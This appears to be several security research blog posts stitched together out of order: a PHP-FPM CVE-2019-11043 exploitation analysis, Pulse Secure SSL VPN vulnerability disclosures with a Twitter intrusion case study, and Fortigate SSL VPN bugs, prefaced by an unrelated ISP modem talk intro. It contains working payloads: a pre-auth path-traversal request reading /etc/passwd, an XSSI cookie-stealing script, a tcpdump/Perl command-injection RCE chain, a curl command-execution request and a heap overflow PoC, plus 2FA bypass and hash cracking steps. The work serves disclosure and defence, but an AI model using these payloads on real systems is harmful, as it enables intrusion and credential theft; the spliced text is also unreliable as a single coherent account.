For non-native readers, this is a writeup of my DEVCORE Conference 2019 talk. Describe a misconfiguration that exposed a magic service on port 3097 on our country's largest ISP, and how we find RCE on that to affect more than 250,000 modems :P
相較於以往對家用數據機的攻擊，這次的影響是更嚴重的! 以往就算漏洞再嚴重，只要家用數據機對外不開放任何連接埠，攻擊者也無法利用，但這次的漏洞包含中華電信的配置失誤，導致你家的數據機在網路上裸奔，攻擊者僅僅 「只要知道你的 IP 便可不需任何條件，直接進入你家內網」，而且，由於沒有數據機的控制權，所以這個攻擊一般用戶是無法防禦及修補的!
First of all, this is such a really interesting bug! From a small memory defect to code execution. It combines both binary and web technique so that’s why it interested me to trace into. This is just a simple analysis, you can also check the bug report and the author neex’s exploit to know the original story :D
Originally, this write-up should be published earlier, but I am now traveling and don’t have enough time. Sorry for the delay :(
The root cause
PHP-FPM wrongly handles the PATH_INFO, which leads to a buffer underflow. Although it’s not vulnerable by default, there are still numerous vulnerable configurations that sysadmins would copy & paste from Google and StackOverflow.
When the fastcgi_split_path_info directive is parsing a URI with newline, the env_path_info becomes an empty value. And due to the cgi.fix_pathinfo, the empty value is used(fpm_main.c#L1151) to calculate the real path_info later.
Please note that the pilen is zero and slen is the original URI length minus the real file-path length, so there is a buffer underflow. path_info can point to somewhere before it should be.
The exploitation
With this buffer underflow, we have a limited(and small) buffer access. What can we do? The author leverages the fpm_main.c#L1161 to do further actions.
path_info[0] = 0;
As the path_info points ahead of PATH_INFO, we can write a single null-byte to the position before path_info.
A. From null-byte writing to CGI environment overwritten
OK, now we can write a single null-byte to somewhere before PATH_INFO, and then?
In PHP-FPM, the CGI environments are stored in fcgi_data_seg structure, and managed by structure fcgi_hash.
gdb-peda$ p *request.env.data
$3 = {
pos = 0x556578555537 "7UUxeU",
end = 0x5565785564d8 "",
next = 0x556578554490,
data = "P"
}
gdb-peda$ x/50s request.env.data.data
0x5565785544a8: "FCGI_ROLE"0x5565785544b2: "RESPONDER"0x5565785544bc: "SCRIPT_FILENAME"0x5565785544cc: "/var/www/html/test.php"0x5565785544e3: "QUERY_STRING"0x5565785544f0: ""0x5565785544f1: "REQUEST_METHOD"0x556578554500: "GET"
...
0x556578554656: "SERVER_NAME"0x556578554662: "_"0x556578554664: "REDIRECT_STATUS"0x556578554674: "200"0x556578554678: "PATH_INFO"0x556578554682: "/", 'a' <repeats 13 times>, ".php" <--- the `path_info` points to
0x556578554695: "HTTP_HOST"0x55657855469f: "127.0.0.1"
The structure member fcgi_data_seg->pos points to the current buffer - fcgi_data_seg->data to let PHP-FPM know where to write, and fcgi_data_seg->end points to the buffer end. If the buffer reaches the end(pos > end). PHP-FPM creates a new buffer and moves the previous one to the structure member fcgi_data_seg->next.
So, the idea is to make path_info points to the location of fcgi_data_seg->pos. Once we achieve that, we can abuse the CGI environment management! For example, here we adjust the path_info points to the fcgi_data_seg->pos.
gdb-peda$ frame
#0 init_request_info () at /home/orange/php-src/sapi/fpm/fpm/fpm_main.c:11611161 path_info[0] = 0;
gdb-peda$ x/xg path_info
0x5565785554c0: 0x0000556578555537
gdb-peda$ x/g request.env.data
0x5565785554c0: 0x0000556578555537
gdb-peda$ p (fcgi_data_seg)*request.env.data
$2 = {
pos = 0x556578555537 "",
end = 0x5565785564d8 "",
next = 0x556578554490,
data = "P"
}
gdb-peda$ x/15s (char **)request.env.data.data
0x5565785554d8: "PATH_INFO"0x5565785554e2: ""0x5565785554e3: "HTTP_HOST"0x5565785554ed: "127.0.0.1"0x5565785554f7: "HTTP_ACCEPT_ENCODING"0x55657855550c: 'A' <repeats 11 times>
0x556578555518: "HTTP_LAYS"0x556578555522: "NOGG"0x556578555527: "ORIG_PATH_INFO"0x556578555536: ""0x556578555537: "" <--- the original `request.env.data.pos`
0x556578555538: ""0x556578555539: ""0x55657855553a: ""0x55657855553b: ""
This is the memory layout of request.env.data.
Once the line path_info[0] = 0; has been executed, the memory layout becomes:
As the request.env.data.pos has been written, and changed to a new location:
gdb-peda$ next
...
gdb-peda$ p (fcgi_data_seg)*request.env.data
$4 = {
pos = 0x556578555500 "PT_ENCODING",
end = 0x5565785564d8 "",
next = 0x556578554490,
data = "P"
}
gdb-peda$ x/10s (char **)request.env.data.pos
0x556578555500: "PT_ENCODING"0x55657855550c: 'A' <repeats 11 times>
0x556578555518: "HTTP_LAYS"0x556578555522: "NOGG"0x556578555527: "ORIG_PATH_INFO"0x556578555536: ""0x556578555537: ""0x556578555538: ""0x556578555539: ""0x55657855553a: ""
As you can see, the request.env.data.pos is shifted to the middle of an environment variable. The next time PHP-FPM put a new CGI environment, it will overwrite the existing one.
#define FCGI_PUTENV(request, name, value) \
fcgi_quick_putenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1), value)
char* fcgi_putenv(fcgi_request *req, char* var, int var_len, char* val)
{
if (!req) returnNULL;
if (val == NULL) {
fcgi_hash_del(&req->env, FCGI_HASH_FUNC(var, var_len), var, var_len);
returnNULL;
} else {
return fcgi_hash_set(&req->env, FCGI_HASH_FUNC(var, var_len), var, var_len, val, (unsigned int)strlen(val));
}
}
staticchar* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK;
fcgi_hash_bucket *p = h->hash_table[idx];
// ...
p->var = fcgi_hash_strndup(h, var, var_len);
p->val_len = val_len;
p->val = fcgi_hash_strndup(h, val, val_len);
return p->val;
}
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
char *ret;
// ...
ret = h->data->pos; <--- we have corrupted the `pos` :D
memcpy(ret, str, str_len);
ret[str_len] = 0;
h->data->pos += str_len + 1;
return ret;
}
And it’s lucky, there is a FCGI_PUTENVright after the null-byte writing:
old = path_info[0];
path_info[0] = 0;
if (!orig_script_name ||
strcmp(orig_script_name, env_path_info) != 0) {
if (orig_script_name) {
FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name); <--- here
}
SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
} else {
SG(request_info).request_uri = orig_script_name;
}
path_info[0] = old;
It puts the name ORIG_SCRIPT_NAME and our controllable value into the CGI environments so that we can overwrite some important environments! …and then?
B. From CGI environment overwritten to Remote Code Execution
Now we can overwrite environments, how to turn it into the RCE?
However, although we can overwrite the environment data. To forge the PHP_VALUE is still not easy. We can not just overwrite the existing environments key to PHP_VALUE and profit. After checking the source, we found the problem is PHP-FPM uses a hash table to manage environments. Without corrupting the table, we can’t insert a new environment!
There are also some checks before PHP-FPM retrieve the environment variable:
staticchar *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK;
fcgi_hash_bucket *p = h->hash_table[idx];
while (p != NULL) {
if (p->hash_value == hash_value &&
p->var_len == var_len &&
memcmp(p->var, var, var_len) == 0) {
*val_len = p->val_len;
return p->val;
}
p = p->next;
}
returnNULL;
}
PHP-FPM first retrieves the environment structure from the hash table, and then check the hash_value, var_len and content. We can forge the content, but how to forge the hash_value and var_len? OK, let’s do it!
For the PHP_VALUE, its hash value is ('_'<<2) + ('U'<<4) + ('E'<<) + 9 = 2015. The author sends a HTTP header HTTP_EBUT, and its hash value is ('P'<<2) + ('U'<<4) + ('T'<<2) + 9 = 2015. The fake header has been stored in the hash table. Once we trigger the vulnerability and overwrite the HTTP_EBUT to PHP_VALUE, the forged one becomes valid! Both variables have the same hash_value and var_len, and now, they have the same key content!
We can create arbitrary PHP_VALUE now. To get code execution seems easy! The author create a series of PHP INI chains to get code execution.
OK, here we have all the details. However, it’s still hard to write the exploit. Although our steps are straightforward, there are still several obstacles making the exploit unstable and unexploitable… :(
A. The Nginx obstacle
The first obstacle is the Nginx configuration. As the PHP is an independent package from Nginx. To make the Nginx handle PHP scripts, there are many settings required in the configuration. Here we classified the configurations into 4 aspect.
Is PATH_INFO supported? Because PATH_INFO is not a necessary feature. If there is no fastcgi_param PATH_INFO $blah; in Nginx configuration, you are safe!
The PHP dispatcher
In order to dispatch requests to PHP-FPM. Sysadmin must set a regular expression to match the URI. There are several ways to capture that, and the most common two situations are:
The default Nginx configuration snippet on current Linux dists
location~ \.php$ {
# ...
}
Both two ways are very common in the world. Although the meaning looks like the same, the exploitation is absolutely different! We will introduce this in next section.
Is the file existed?
The default Nginx configuration checks the file existence before sending it to PHP-FPM. You may see the following configuration:
However, it’s still possible to be removed due to scalability or performance issues. For example, just imagine Nginx and PHP-FPM are not on the same server!
The PATH_INFO sequential problem
From the neex’s exploit, he adjust the buffer by increasing the length of QUERY_STRING. But what if the PATH_INFO comes before the QUERY_STRING? You can not control the PATH_INFO to the region you want. Actually, in my default installed Nginx on Ubuntu 18.04 and 16.04. The configuration looks like this:
# ------------------------------------# /etc/nginx/sites-enabled/nginx.conf location~ \.php$ {
include snippets/fastcgi-php.conf;
# With php7.0-cgi alone:fastcgi_pass127.0.0.1:9000;
# With php7.0-fpm:fastcgi_pass unix:/run/php/php7.0-fpm.sock;
}
# ------------------------------------# /etc/nginx/snippets/fastcgi-php.conf# regex to split $uri to $fastcgi_script_name and $fastcgi_pathfastcgi_split_path_info ^(.+\.php)(/.+)$;
# Check that the PHP script exists before passing ittry_files$fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info# see: http://trac.nginx.org/nginx/ticket/321set$path_info$fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
include fastcgi.conf;
# ------------------------------------# /etc/nginx/fastcgi.conffastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param QUERY_STRING $query_string;
fastcgi_param REQUEST_METHOD $request_method;
fastcgi_param CONTENT_TYPE $content_type;
fastcgi_param CONTENT_LENGTH $content_length;
# ...
As you can see, the PATH_INFO are defined before the QUERY_STRING, so the original exploit doesn’t cover that. That’s also the reason why I trace into this bug!
So, the Nginx configuration greatly affects this vulnerability. For the obstacle No.1 and No.3, it’s hopeless and unexploitable. About how to improve obstacle No.2 and No.4, we leave it for the last section!
However, a fun fact is that if you install the Nginx and PHP-FPM on Ubuntu(16.04/18.04) thought the apt package manager. You can remove just one line(try_files) and make your service vulnerable :P
B. Vulnerability verification problem
Before exploiting the target, we need to check if the target is vulnerable or not. Because the remote Nginx configuration is unknown, we need to find a reliable way to trigger the environment overwrite. Here the author leverage the double buffer mechanism!
As I mentioned before:
If the buffer reaches the end(pos > end). PHP-FPM creates a new buffer and put the previous one to the structure member fcgi_data_seg->next.
The neex’s exploit enlarges the QUERY_STRING to force PHP-FPM allocate a new buffer and therefore place the PATH_INFO buffer at the right location. As long as the PATH_INFO is on the top of the new fcgi_data_seg->data buffer, we know the offset from the PATH_INFO to fcgi_data_seg->pos is 34.
We fixed our PATH_INFO length to 34 so that we can exactly place the null-byte in the right address. Due to the PHP-FPM implementation, the HTTP headers must be right after the PATH_INFO, and we can designed the context like:
We then adjust the length of HTTP_DUMMY_HEADER to exactly overwrite the HTTP_EBUT and its value to PHP_VALUE\nsession.auto_start=1;;;.
This is the memory view before the environment variable is written on fpm_main.c#1165.
gdb-peda$ p *request.env.buckets
...
{
hash_value = 0x7e9,
var_len = 0x9,
var = 0x55c8cc0e7518 "HTTP_BBUT",
val_len = 0x4,
val = 0x55c8cc0e7522 "NOGG",
next = 0x55c8cc0e4aa0,
list_next = 0x55c8cc0e4c80
}
This is the memory view after the environment variable is written.
While the session.auto_start is changed to 1, we can just check the set-cookie header in HTTP response to know whether our exploit succeeds or not!
C. The length limitation
As we mentioned before, we fixed our PATH_INFO length to 34 so that we can exactly place the null-byte in the right address. The previous detect payload is good and short enough, and this is also the simplest detect method. It’s also the first situation in our the PHP dispatcher section.
However, in another scenario, the URI must end with .php so that our payload must be less than 34 bytes. Otherwise, if we plus the the .php suffix, the original detect payload will become 35 bytes…
PHP_VALUE\nsession.auto_start=1;.php
Due to the length limitation, most of the INI stuff are too long, and building a code execution chain becomes harder… :(
Improve the exploit
After I had deeper understanding of this, I kept thinking if there is any way to improve the exploit.
A. The PATH_INFO sequential problem
It’s easy. Because the PATH_INFO is ahead of QUERY_STRING, and there are no SCRIPT_FILENAME, SCRIPT_NAME and REQUEST_URI to interfere our alignment. We can just pad on the PATH_INFO itself to enlarge the buffer!
B. How to detect the vulnerability
You can just put a single newline in the PATH_INFO and increase the PATH_INFO and QUERY_STRING length(depend on situations). If the PHP-FPM crashes, that means you got it :P
If there is a PHPINFO page. To detect the vulnerability is more easy, you can just fetch the /info.php/%0a.php and observe the $_SERVER['PATH_INFO'] is corrupted or not!
C. Bypass the length limitation
It’s not easy to bypass that. Due to the .php suffix, we have only two options. The first choice is building the payloads under constraint, and the other one is to bypass the constraint!
[27-Oct-2019 13:55:05 UTC] PHP Warning: Unknown: failed to open stream: No such file or directory in Unknown on line 0
[27-Oct-2019 13:55:05 UTC] PHP Warning: Unknown: function '<?/*.php' not found or invalid function name in Unknown on line 0
[27-Oct-2019 13:55:05 UTC] PHP Warning: Unknown: function '*/`' not found or invalid function name in Unknown on line 0
[27-Oct-2019 13:55:05 UTC] PHP Warning: Unknown: Unable to load dynamic library '$_GET[a]' (tried: `?>.php/$_GET[a] (`?>.php/$_GET[a]: cannot open shared object file: No such file or directory), `?>.php/$_GET[a].so (`?>.php/$_GET[a].so: cannot open shared object file: No such file or directory)) in Unknown on line 0
We put a lot of garbage into the backtick, of course, including our $_GET[a], so we can simply use the newline to execute arbitrary command.
curl "http://localhost/index.php?a=%0asleep+5%0a"
About the constraint bypass, my idea is to pop the previous environment onto the newly fcgi_data_seg->data buffer. In most Nginx configurations, the environment variable before PATH_INFO is usually REDIRECT_STATUS=200. So we can pop the string 200 onto the buffer and extend the controllable space size from 34 to 37 bytes! That’s enough to fit all payloads including the .php suffix! This idea works on my local environment, and I am now trying to make exploit more reliable :D
OK, this is whole the detail about the recently PHP-FPM 2019-11043. If you have any further idea for making the exploit more reliable and exploitable, please let me know and contribute back to the original author’s GitHub repo!
After we published our research at Black Hat, due to its great severity and huge impacts, it got lots of attention and discussions. Many people desire first-hand news and wonder when the exploit(especially the Pulse Secure preAuth one) will be released.
We also discussed this internally. Actually, we could simply drop the whole exploits without any concern and acquire plenty of media exposures. However, as a SECURITY firm, our responsibility is to make the world more secure. So we decided to postpone the public disclosure to give the world more time to apply the patches!
Unfortunately, the exploits were revealed by someone else. They can be easily found on GitHub[1][2][3] and exploit-db[1]. Honestly, we couldn’t say they are wrong, because the bugs are absolutely fixed several months ago, and they spent their time differing/reversing/reproducing. But it’s indeed a worth discussing question to the security community: if you have a nuclear level weapon, when is it ready for public disclosure?
We heard about more than 25 bug bounty programs are exploited. From the statistics of Bad Packet, numerous Fortune 500, U.S. military, governments, financial institutions and universities are also affected by this. There are even 10 NASA servers exposed for this bug. So, these premature public disclosures indeed force these entities to upgrade their SSL VPN, this is the good part.
On the other hand, the bad part is that there is an increasing number of botnets scanning the Internet in the meanwhile. An intelligence also points out that there is already a China APT group exploiting this bug. This is such an Internet disaster. Apparently, the world is not ready yet. So, if you haven’t updated your Palo Alto, Fortinet or Pulse Secure SSL VPN, please update it ASAP!
About Pulse Secure
Pulse Secure is the market leader of SSL VPN which provides professional secure access solutions for Hybrid IT. Pulse Secure has been in our research queue for a long time because it was a critical infrastructure of Google, which is one of our long-term targets. However, Google applies the Zero Trust security model, and therefore the VPN is removed now.
We started to review Pulse Secure in mid-December last year. In the first 2 months, we got nothing. Pulse Secure has a good coding style and security awareness so that it’s hard to find trivial bugs. Here is an interesting comparison, we found the arbitrary file reading CVE-2018-13379 on FortiGate SSL VPN on our first research day…
Pulse Secure is also a Perl lover, and writes lots of Perl extensions in C++. The interaction between Perl and C++ is also confusing to us, but we got more familiar with it while we paid more time digging in it. Finally, we got the first blood on March 8, 2019! It’s a stack-based overflow on the management interface! Although this bug isn’t that useful, our research progress got on track since that, and we uncovered more and more bugs.
We reported all of our finding to Pulse Secure PSIRT on March 22, 2019. Their response is very quick and they take these vulnerabilities seriously! After several conference calls with Pulse Secure, they fixed all bugs just within a month, and released the patches on April 24, 2019. You can check the detailed security advisory!
It’s a great time to work with Pulse Secure. From our perspective, Pulse Secure is the most responsible vendor among all SSL VPN vendors we have reported bugs to!
Vulnerabilities
We have found 7 vulnerabilities in total. Here is the list. We will introduce each one but focus on the CVE-2019-11510 and CVE-2019-11539 more.
The script /dana/cs/cs.cgi renders the session ID in JavaScript. As the content-type is set to application/x-javascript, we could perform the XSSI attack to steal the DSID cookie!
Even worse, the CSRF protection in Pulse Secure SSL VPN is based on the DSID. With this XSSI, we can bypass all the CSRF protection!
PoC:
<!-- http://attacker/malicious.html --><scriptsrc="https://sslvpn/dana/cs/cs.cgi?action=appletobj"></script><script>window.onload = function() {
window.document.writeln = function (msg) {
if (msg.indexOf("DSID") >= 0) alert(msg)
}
ReplaceContent()
}
</script>
CVE-2019-11507: Cross-Site Scripting
There is a CRLF Injection in /dana/home/cts_get_ica.cgi. Due to the injection, we can forge arbitrary HTTP headers and inject malicious HTML contents.
CVE-2019-11538: Post-auth(user) Arbitrary File Reading via NFS
The following two vulnerabilities (CVE-2019-11538 and CVE-2019-11508) do not affect default configurations. It appears only if the admin configures the NFS sharing for the VPN users.
If an attacker can control any files on remote NFS server, he can just create a symbolic link to any file, such as /etc/passwd, and read it from web interface. The root cause is that the implementation of NFS mounts the remote server as a real Linux directory, and the script /dana/fb/nfs/nfb.cgi does not check whether the accessed file is a symlink or not!
CVE-2019-11508: Post-auth(user) Arbitrary File Writing via NFS
This one is a little bit similar to the previous one, but with a different attack vector!
When the attacker uploads a ZIP file to the NFS through the web interface, the script /dana/fb/nfs/nu.cgi does not sanitize the filename in the ZIP. Therefore, an attacker can build a malicious ZIP file and traverse the path with ../ in the filename! Once Pulse Secure decompresses, the attacker can upload whatever he wants to whatever path!
There is a stack-based buffer overflow in the following Perl module implementations:
DSHC::ConsiderForReporting
DSHC::isSendReasonStringEnabled
DSHC::getRemedCustomInstructions
These implementations use sprintf to concatenate strings without any length check, which leads to the buffer overflow. The bug can be triggered in many places, but here we use /dana-admin/auth/hc.cgi as our PoC.
cgi-server[22950]: segfault at 61616161 ip 0000000002a80afd sp 00000000ff9a4d50 error 4 in DSHC.so[2a2f000+87000]
CVE-2019-11510: Pre-auth Arbitrary File Reading
Actually, this is the most severe bug in this time. It is in the web server implementation. As our slides mentioned, Pulse Secure implements their own web server and architecture stack from scratch. The original path validation is very strict. However, since version 8.2, Pulse Secure introduced a new feature called HTML5 Access, it’s a feature used to interact with Telnet, SSH, and RDP by browsers. Thanks to this new feature, the original path validation becomes loose.
In order to handle the static resources, Pulse Secure created a new IF-CONDITION to widen the originally strict path validation. The code wrongly uses the request->uri and request->filepath, so that we can specify the /dana/html5acc/guacamole/ in the end of the query string to bypass the validation and make request->filepath to any file you want to download!
And it’s worth to mention that in order to read arbitrary files, you must to specify the /dana/html5acc/guacamole/ in the middle of the path again. Otherwise, you can only download limited file extensions such as .json, .xml or .html.
Due to the exploit is in the wild, there is no longer any concern to show the payload:
import requests
r = requests.get('https://sslvpn/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/')
print r.content
The last one is a command injection on the management interface. We found this vulnerability very early, but could not find a way to exploit it at first. While we were in Vegas, one of my friends told me that he found the same bug before, but he didn’t find a way to exploit it, so he didn’t report to the vendor.
However, we did it, and we exploit it in a very smart way :)
The root cause of this vulnerability is very simple. Here is a code fragment of /dana-admin/diag/diag.cgi:
It’s so obvious and straightforward that everyone can point out there is a command injection at the parameter options! However, is it that easy? No!
In order to avoid potential vulnerabilities, Pulse Secure applies lots of hardenings on their products! Such as the system integrity check, read-only filesystem and a module to hook all dangerous Perl invocations like system, open and backtick…
This module is called DSSAFE.pm. It implements its own command line parser and re-implements the I/O redirections in Perl. Here is the code fragments on Gist.
From the code fragments, you can see it replaces the original system and do lots of checks in __parsecmd. It also blocks numerous bad characters such as:
[\&\*\(\)\{\}\[\]\`\;\|\?\n~<>]
The checks are very strict so that we can not perform any command injection. We imagined several ways to bypass that, and the first thing came out of my mind is the argument injection. We listed all arguments that TCPDUMP supports and found that the -z postrotate-command may be useful. But the sad thing is that the TCPDUMP in Pulse Secure is too old(v3.9.4, Sept 2005) to support this juicy feature, so we failed :(
While examining the system, we found that although the webroot is read-only, we can still abuse the cache mechanism. Pulse Secure caches the template result in /data/runtime/tmp/tt/ to speed up script rendering. So our next attempt is to write a file into the template cache directory via -w write-file argument. However, it seems impossible to write a polyglot file in both PCAP and Perl format.
As it seems we had reached the end of argument injection, we tried to dig deeper into the DSSFAFE.pm implementation to see if there is anything we can leverage. Here we found a defect in the command line parser. If we insert an incomplete I/O redirection, the rest of the redirection part will be truncated. Although this is a tiny flaw, it helped us to re-control the I/O redirections! However, the problem that we can’t generate a valid Perl script still bothered us.
We got stuck here, and it’s time to think out of the box. It’s hard to generate a valid Perl script via STDOUT, could we just write the Perl by STDERR? The answer is yes. When we force the TCPDUMP to read a nonexistent-file via -r read-file. It shows the error:
tcpdump: [filename]: No such file or directory
It seems we can “partially” control the error message. Then we tried the filename print 123#, and the magic happens!
$ tcpdump -d -r 'print 123#'
tcpdump: print 123#: No such file or directory
$ tcpdump -d -r 'print 123#' 2>&1 | perl –
123
The error message becomes a valid Perl script now. Why? OK, let’s have a Perl 101 lesson now!
As you can see, Perl supports the GOTO label, so the tcpdump: becomes a valid label in Perl. Then, we comment the rest with a hashtag. With this creative trick, we can generate any valid Perl now!
Finally, we use an incomplete I/O symbol < to fool the DSSAFE.pm command parser and redirect the STDERR into the cache directory! Here is the final exploit:
tcpdump: $x="ls /",system$x#: No such file or directory
Once we have done this, we can just fetch the corresponding page to execute our command:
$ curl https://sslvpn/dana-na/auth/setcookie.cgi
boot bin home lib64 mnt opt proc sys usr var
data etc lib lost+found modules pkg sbin tmp
...
So far, the whole technical part of this command injection is over. However, we think there may be another creative way to exploit this, if you found one, please tell me!
The Case Study
After Pulse Secure patched all the bugs on April 24, 2019. We kept monitoring the Internet to measure the response time of each large corporation. Twitter is one of them. They are known for their bug bounty program and nice to hackers. However, it’s improper to exploit a 1-day right after the patch released. So we wait 30 days for Twitter to upgrade their SSL VPN.
We have to say, we were nervous during that time. The first thing we did every morning is to check whether Twitter upgrades their SSL VPN or not! It was an unforgettable time for us :P
We started to hack Twitter on May 28, 2019. During this operation, we encounter several obstacles. The first one is, although we can obtain the plaintext password of Twitter staffs, we still can’t log into their SSL VPN because of the Two Factor Authentication. Here we suggest two ways to bypass that. The first one is that we observed Twitter uses the solution from Duo. The manual mentions:
The security of your Duo application is tied to the security of your secret key (skey). Secure it as you would any sensitive credential. Don’t share it with unauthorized individuals or email it to anyone under any circumstances!
So if we can extract the secret key from the system, we can leverage the Duo API to bypass the 2FA. However, we found a quicker way to bypass it. Twitter enabled the Roaming Session feature, which is used to enhances mobility and allows a session from multiple IP locations.
Due to this “convenient” feature, we can just download the session database and forge our cookies to log into their system!
Until now, we are able to access Twitter Intranet. Nevertheless, our goal is to achieve code execution! It sounds more critical than just accessing the Intranet. So we would like to chain our command injection bug(CVE-2019-11539) together. OK, here, we encountered another obstacle. It’s the restricted management interface!
As we mentioned before, our bug is on the management interface. But for the security consideration, most of the corporation disable this interface on public, so we need another way to access the admin page. If you have read our previous article carefully, you may recall the “WebVPN” feature! WebVPN is a proxy which helps to connect to anywhere. So, let’s connect to itself.
Yes, it’s SSRF! Here we use a small trick to bypass the SSRF protections.
Ahha! Through our SSRF, we can touch the interface now! Then, the last obstacle popped up. We didn’t have any plaintext password of managers. When Perl wants to exchange data with native procedures, such as the Perl extension in C++ or web server, it uses the cache to store data. The problem is, Pulse Secure forgets to clear the sensitive data after exchange, so that’s why we can obtain plaintext passwords in the cache. But practically, most of the managers only log into their system for the first time, so it’s hard to get the manager’s plaintext password. The only thing we got, is the password hash in sha256(md5_crypt(salt, …)) format…
If you are experienced in cracking hashes, you will know how hard it is. So…
We launched a 72 core AWS to crack that.
We cracked the hash and got the RCE successfully! I think we are lucky because from our observation, there is a very strong password policy on Twitter staffs. But it seems the policy is not applied to the manager. The manager’s password length is only ten, and the first character is B. It’s at a very early stage of our cracking queue so that we can crack the hash in 3 hours.
We reported all of our findings to Twitter and got the highest bounty from them. Although we can not prove that, it seems this is the first remote code execution on Twitter! If you are interested in the full report, you can check the HackerOne link for more details.
Recommendations
How to mitigate such attacks? Here we give several recommendations.
The first is the Client-Side Certificate. It’s also the most effective method. Without a valid certificate, the malicious connection will be dropped during SSL negotiation! The second is the Multi-factor Authentication. Although we break the Twitter 2FA this time, with a proper setting, the MFA can still decrease numerous attack surface. Next, enable the full log audit and remember to send to an out-bound log server.
Also, perform your corporate asset inventory regularly and subscribe to the vendor’s security advisory. The most important of all, always keep your system updated!
Bonus: Take over all the VPN clients
Our company, DEVCORE, provides the most professional red team service in Asia. In this bonus part, let’s talk about how to make the red team more RED!
We always know that in a red team operation, the personal computer is more valuable! There are several old-school methods to compromise the VPN clients through SSL VPN before, such as the water-hole attack and replacing the VPN agent.
During our research, we found a new attack vector to take over all the clients. It’s the “logon script” feature. It appears in almost EVERY SSL VPNs, such as OpenVPN, Fortinet, Pulse Secure… and more. It can execute corresponding scripts to mount the network file-system or change the routing table once the VPN connection established.
Due to this “hacker-friendly” feature, once we got the admin privilege, we can leverage this feature to infect all the VPN clients! Here we use the Pulse Secure as an example, and demonstrate how to not only compromise the SSL VPN but also take over all of your connected clients:
Epilogue
OK, here is the end of this Attacking SSL VPN series! From our findings, SSL VPN is such a huge attack surface with few security researchers digging into. Apparently, it deserves more attention. We hope this kind of series can encourage other researchers to engage in this field and enhance the security of enterprises!
Thanks to all guys we met, co-worked and cooperated. We will publish more innovative researches in the future :)
Last month, we talked about Palo Alto Networks GlobalProtect RCE as an appetizer. Today, here comes the main dish! If you cannot go to Black Hat or DEFCON for our talk, or you are interested in more details, here is the slides for you!
The story began in last August, when we started a new research project on SSL VPN. Compare to the site-to-site VPN such as the IPSEC and PPTP, SSL VPN is more easy to use and compatible with any network environments. For its convenience, SSL VPN becomes the most popular remote access way for enterprise!
However, what if this trusted equipment is insecure? It is an important corporate asset but a blind spot of corporation. According to our survey on Fortune 500, the Top-3 SSL VPN vendors dominate about 75% market share. The diversity of SSL VPN is narrow. Therefore, once we find a critical vulnerability on the leading SSL VPN, the impact is huge. There is no way to stop us because SSL VPN must be exposed to the internet.
At the beginning of our research, we made a little survey on the CVE amount of leading SSL VPN vendors:
It seems like Fortinet and Pulse Secure are the most secure ones. Is that true? As a myth buster, we took on this challenge and started hacking Fortinet and Pulse Secure! This story is about hacking Fortigate SSL VPN. The next article is going to be about Pulse Secure, which is the most splendid one! Stay tuned!
Fortigate SSL VPN
Fortinet calls their SSL VPN product line as Fortigate SSL VPN, which is prevalent among end users and medium-sized enterprise. There are more than 480k servers operating on the internet and is common in Asia and Europe. We can identify it from the URL /remote/login. Here is the technical feature of Fortigate:
All-in-one binary
We started our research from the file system. We tried to list the binaries in /bin/ and found there are all symbolic links, pointing to /bin/init. Just like this:
Fortigate compiles all the programs and configurations into a single binary, which makes the init really huge. It contains thousands of functions and there is no symbol! It only contains necessary programs for the SSL VPN, so the environment is really inconvenient for hackers. For example, there is even no /bin/ls or /bin/cat!
Web daemon
There are 2 web interfaces running on the Fortigate. One is for the admin interface, handled with /bin/httpsd on the port 443. The other is normal user interface, handled with /bin/sslvpnd on the port 4433 by default. Generally, the admin page should be restricted from the internet, so we can only access the user interface.
Through our investigation, we found the web server is modified from apache, but it is the apache from 2002. Apparently they modified apache in 2002 and added their own additional functionality. We can map the source code of apache to speed up our analysis.
In both web service, they also compiled their own apache modules into the binary to handle each URL path. We can find a table specifying the handlers and dig into them!
WebVPN
WebVPN is a convenient proxy feature which allows us connect to all the services simply through a browser. It supports many protocols, like HTTP, FTP, RDP. It can also handle various web resources, such as WebSocket and Flash. To process a website correctly, it parses the HTML and rewrites all the URLs for us. This involves heavy string operation, which is prone to memory bugs.
There is no protection, but a file extension appended automatically. It seems like we can only read json file. However, actually we can abuse the feature of snprintf. According to the man page, it writes at most size-1 into the output string. Therefore, we only need to make it exceed the buffer size and the .json will be stripped. Then we can read whatever we want.
While encoding HTML entities code, there are 2 stages. The server first calculate the required buffer length for encoded string. Then it encode into the buffer. In the calculation stage, for example, encode string for < is < and this should occupies 5 bytes. If it encounter anything starts with &#, such as <, it consider there is a token already encoded, and count its length directly. Like this:
c = token[idx];
if (c == '('|| c == ')'|| c == '#'|| c == '<'|| c == '>')
cnt += 5;
elseif(c == '&' && html[idx+1] == '#')
cnt += len(strchr(html[idx], ';')-idx);
However, there is an inconsistency between length calculation and encoding process. The encode part does not handle that much.
If we input a malicious string like &#<<<;, the < is still encoded into <, so the result should be &#<<<;! This is much longer than the expected length 6 bytes, so it leads to a heap overflow.
PoC:
import requests
data = {
'title': 'x',
'msg': '&#' + '<'*(0x20000) + ';<',
}
r = requests.post('https://sslvpn:4433/message', data=data)
In the login page, we found a special parameter called magic. Once the parameter meets a hardcoded string, we can modify any user’s password.
According to our survey, there are still plenty of Fortigate SSL VPN lack of patch. Therefore, considering its severity, we will not disclose the magic string. However, this vulnerability has been reproduced by the researcher from CodeWhite. It is surely that other attackers will exploit this vulnerability soon! Please update your Fortigate ASAP!
This is a vulnerability on the WebVPN feature. While parsing JavaScript in the HTML, it tries to copy content into a buffer with the following code:
memcpy(buffer, js_buf, js_buf_len);
The buffer size is fixed to 0x2000, but the input string is unlimited. Therefore, here is a heap overflow. It is worth to note that this vulnerability can overflow Null byte, which is useful in our exploitation.
